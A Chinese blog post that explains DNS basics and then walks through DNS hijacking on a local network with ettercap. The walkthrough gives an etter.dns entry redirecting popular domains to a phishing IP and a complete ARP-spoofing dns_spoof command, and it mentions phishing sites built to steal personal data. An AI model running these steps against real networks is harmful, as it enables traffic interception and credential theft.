alittlemc,个人原创,个人理解和观点。若有错误、不理解请与我联系,谢谢!

  • 介绍了DNS的解析过程。
  • DNS劫持的思路和实践。

DNS

域名

以为live.bilibili.com为例子,从后到前依次为顶级(一级)域名com、二级域名bilibili,三级域名live。www是特殊的标示代表主机,有一些域名再长点,就继续四级域名、五级域名加下去。

  • 其实在顶级域名后还有一个根域写作.(英文句号)www.bilibili.com.
  • 顶级域名一般代表具有一定性质的网站,com商业、cn中国、gov政府机构等等
  • 二级域名代表具体的网页名称所以主体
  • 三级域名就是更细的划分,比如teiba.baidu.com
  • www是个特殊代表主机

DNS概述

DNS(Domain Name System,域名系统),DNS简单来说就是已知域名求IP的服务。在TCP/IP协议下的网络中,设备之间通信都是用网络层的IP作目标标识的,但是访问网页我们往往通过域名来访问,比如bilibili对应的IP解析为119.3.70.188,https://bilibili.com比如https://119.3.70.188都可以打开bilibili站点,但是IP地址不是每个人都能很好的记忆的,更何况将来如果IPv6广泛应用了(如图1所示),所以是DNS一项很重要的技术。

图1.www.bilibili.com解析出的IPv6地址

DNS服务在提供域名解析额同时,还为服务器提供负载均衡,IP优化域名优化的效果。

  • DNS一条域名可以解析出多条IP结果,这些IP对应提供相同的服务但是位置不同的服务器,将不同的IP返回给用户,不至于让某台服务器压力太大。
  • 有一些高级的DNS服务器会客户的运营商提供较优的IP,比如在广西访问广东的IP往往比访问北京的来得更快些。

图2.bilibili.com全部解析结果

DNS解析过程

DNS一开始本机会“先求人不如求己”,先查询本机DNS存放在内存中缓存(这缓存几个小时后清除),本机hosts文件。实在是没有才会向本机设置的DNS Server发起请求,本机的DNS Server为阿里的223.5.5.5。

DNS使用UDP:53端口(当然也可以使用TCP:53,在较大请求和返回数据的情况下使用,因为UDP报文最大576字节且后续报文不分片直接丢弃。所以减去UDP报头,DNS报文数据限制在512字节内)。UDP的报文很干净,一来一回也不需要握手。

  • 在终端输入NSLOOKUP查询一下www.bilibili.com,并且抓包:

图3.本机192.168.4.1与DNS Server 223.5.5.5的请求过程

DNS Server接受到任务后会查询DNS数据库的,当然“人非圣贤孰能无过”,DNS Server也会查询不到IP,会再向上游DNS Server发起请求:

  • 递归查询:不知道就问上一级(PC请求Server1时候也属于递归查询)
  • 迭代查询:不知道认识的都问一遍

图4.本机192.168.4.1与DNS Server 223.5.5.5的请求过程

DNS查询记录

DNS有不同的记录:

  • A 记录

    • 域名解析IPv4地址
  • AAAA 记录
    • 和A 记录类似,域名解析IPv6 地址
  • PTR记录
    • IP解析域名,即反向解析,比如nslookup输入server 223.5.5.5反向解析出了public1.alidns.com

图5.反向解析

  • CNAME 记录

    • CNAME 记录另一个别名域,

图6.a.w.bilibili.com和www.bilibili.com相同

  • 其他的记录还有:SOA 记录还有、MX记录、NS记录、TXT记录、SRV记录、APL记录、CAA记录、DNAME记录 等等。太多啦,不在本次的讨论范围啦。

基于ettercap实现DNS劫持

完成思路

温馨提示:DNS劫持是违法的,请不要以身试法(一般情况我们称黑客 为小黑子香精捞饭)

  1. 搭建假的DNS Server提供可以自定义DNS解析条件,基于ettrcap使用自带的/etc/ettercap/etter.dns
  2. 搭建假的钓鱼网站,其IP由假的DNS服务器提供,当然也可以搭建某些中转的网站,比如某个编写了恶意脚本的站点,用户打开后GET 其URL,再执行脚本后跳转。(相比于近似发,taobao.com和ta0ba0.com,DNS可以让正确的域名对于错误的站点,更隐蔽)
  3. 部署站点:
    • ettercap的基于可arp来实现的,所以只在局域网中使用,用于。
    • 钓鱼网站站点可以搭建在局域网内也可以搭建在公网中,具体内容和作用嘛,其实应该有看见过,用于盗取一些个人信息;配置使用nginx、apache作为中间价,PHP之类作为解析(或者静态的html,post到动态PHP界面)
  4. 使用ettercap发起攻击

ettercap的使用

ettercap是基于ARP 地址欺骗来实现中间人攻击的工具。

可恶我的kali截图丢了,后面我会补上。

一般情况下完整版的Kali是自带甚至有图形界面,

编辑(假DNS请求)/etc/ettercap/etter.dns

# 域名    A    钓鱼网站IP
# 比如
# 正向A www.bilibili.com A 10.100.10.4
www.baidu.com  A 10.100.10.4 # 反向PRT
www.bilibili.com PRT 10.100.10.4
www.baidu.com PRT 10.100.10.4

发起攻击过程

# 查看网关 网卡等
root @ localhost in ~ [21:54:10] C:1$ sudo route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
10.100.10.1 0.0.0.0 255.255.255.192 U 0 0 0 wlan0

---

ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /被攻击者ip// /被攻击者网关//
-i <网卡>:指定网卡
-T:只显示文本
-q:安静模式,不显示抓到的数据包内容
-M <攻击方式>:执行中间人攻击,这里的arp:remote为arp欺骗
-P <插件名>:使用的插件,这里使用dns_spoof即可dns欺骗插件
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /10.100.10.120// /10.100.10.1//

--

今天先写这么多啦,好困啊,今天早点休息吧。

网络安全(一)主动进攻之DNS基础和ettercap实现DNS流量劫持的更多相关文章

  1. 【Linux】DNS基础(一)

    DNS基础 DNS 是计算机域名系统 (Domain Name System 或Domain Name Service) 的缩写,域名服务器是进行域名(domain name)和与之相对应的IP地址 ...

  2. ntohs的一个简单实现(将网络流中用两个字节16进制表示的资源数(如DNS)和长度转换为整形)

    我们知道在由于大端机和小端机导致网络字节序和主机序有可能是有差异的,我们可以使用系统的ntohs,ntohl,htons和htonl这些处理函数进行转换,下面是我写的一个关于ntohs在处理小端机字节 ...

  3. DNS 基础

    DNS Domain Name System:域名系统,主要用来将域名解析为IP.DNS以及相关系统存在,主要有两个原因: 可以让人容易记住名字,而不是记住IP: 它允许服务器改变IP,但是采用同样的 ...

  4. DNS基础概要

    dns服务系统由客户端和服务器组成,提供域名到ip地址的解析,或者提供ip地址到域名的逆向解析. 1.DNS域名空间 每个dns域名由分级的label构成,如www.sina.com.cn,由www. ...

  5. 关于全站https必要性http流量劫持、dns劫持等相关技术

    关于全站https必要性http流量劫持.dns劫持等相关技术 微信已经要求微信支付,申请退款功能必须12月7号之前必须使用https证书了(其他目前为建议使用https),IOS也是2017年1月1 ...

  6. dns欺骗之ettercap

    ettercap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于局域网. ettercap是一款现有流行的网络抓包软件,它利用计算机在局域网内进行通信的ARP协议的缺陷进行攻击,在目标与服务器之 ...

  7. [Linux系列]DNS系列理论笔记与DNS服务器配置

    0x01 基础术语 DNS(Domain Name System,域名系统),域名和IP地址相互映射的一个分布式数据库,简而言之就是通过更易记忆的域名代替IP去访问一个网站. FQDN(Fully Q ...

  8. 域名dns查询_查询域名dns ip地址

    最近有部分用户反应管理的天气网站打开偏慢,决定从每一个可以出现的问题点查起!首先就是dns! 通过360dns监控对比发现,同一组域名,15tianqi.cn的dns响应时间比较长,在300-700间 ...

  9. Windows Server 2008 R2 创建辅助DNS服务器并接管主要DNS服务器

    公司需求: Zhuyu公司局域网有一台主要DNS服务器,经领导讨论需要规划安装一台辅助DNS服务器备用. 功能需求: 当主要DNS服务器宕机或系统崩溃,辅助DNS服务器能接管主要DNS服务器工作,并且 ...

随机推荐

  1. .Net CLR GC 动态加载短暂堆阈值的计算及阈值超量的计算

    前言: 很多书籍或者很多文章,对于CLR或者GC这块只限于长篇大论的理论性概念,对于里面的如何运作模式,却几乎一无所知.高达近百万行的CPP文件,毕竟读懂的没有几个.以下取自CLR.Net 6 Pre ...

  2. 搞懂前端二进制系列(二):🍈File、FileReader与Base64

    参考资料: JavaScript高级程序设计第四版:File API https://juejin.cn/post/7046313942938812424[前端二进制一次搞清楚] 一.File 类型 ...

  3. Win10文件、文件夹被占用解决方法

    有时删除文件/弹出移动硬盘的时候会出现文件或文件夹或磁盘被占用的情况,从而无法删除文件/文件夹或安全弹出移动硬盘.这时可以在资源管理器中搜索该文件.文件夹,来找到对应的程序. 使用了以下链接中的方法, ...

  4. Linux 13 配置服务自启动

    参考源 https://www.bilibili.com/video/BV187411y7hF?spm_id_from=333.999.0.0 版本 本文章基于 CentOS 7.6 准备 我们通常的 ...

  5. Docker 09 可视化

    参考源 https://www.bilibili.com/video/BV1og4y1q7M4?spm_id_from=333.999.0.0 https://www.bilibili.com/vid ...

  6. .NET 6应用程序适配国产银河麒麟V10系统随记

    最近想在麒麟系统上运行.NET 6程序,经过一番折腾最终完成了,简单记录一下. 目标系统: CPU: aarch64架构(ARM64) 操作系统:银河麒麟V10高级服务器系统 银河麒麟V10系统(以下 ...

  7. 垃圾收集器 参阅<<深入理解JAVA虚拟机>>

    一.新生代 1.Serial收集器 新生代单线程复制算法GC(暂停工作线程)---------- 支持组合老年代Serial odl和CMS 2.ParNew Serial多线程版本 支持组合cms| ...

  8. identity4 系列————案例篇[三]

    前言 前文介绍了identity的用法,同时介绍了什么是identitySourece.apiSource.client 这几个概念,和具体案例,那么下面继续介绍案例了. 正文 这里用官网的案例,因为 ...

  9. web监听器解析

    监听器是web三大组件之一,事件监听机制如下: 事件:某个事件,如果初始化上下文 事件源:事件发生的地方 监听器:一个对象,拥有需要执行的逻辑 注册监听:将事件.事件源.监听器绑定在一起.当事件源发生 ...

  10. 「2020-2021 集训队作业」Yet Another Linear Algebra Problem(行列式,Binet-Cauchy 公式)

    题面 出题人:T L Y \tt TLY TLY 太阳神:Tiw_Air_OAO 「 2020 - 2021 集 训 队 作 业 」 Y e t A n o t h e r L i n e a r A ...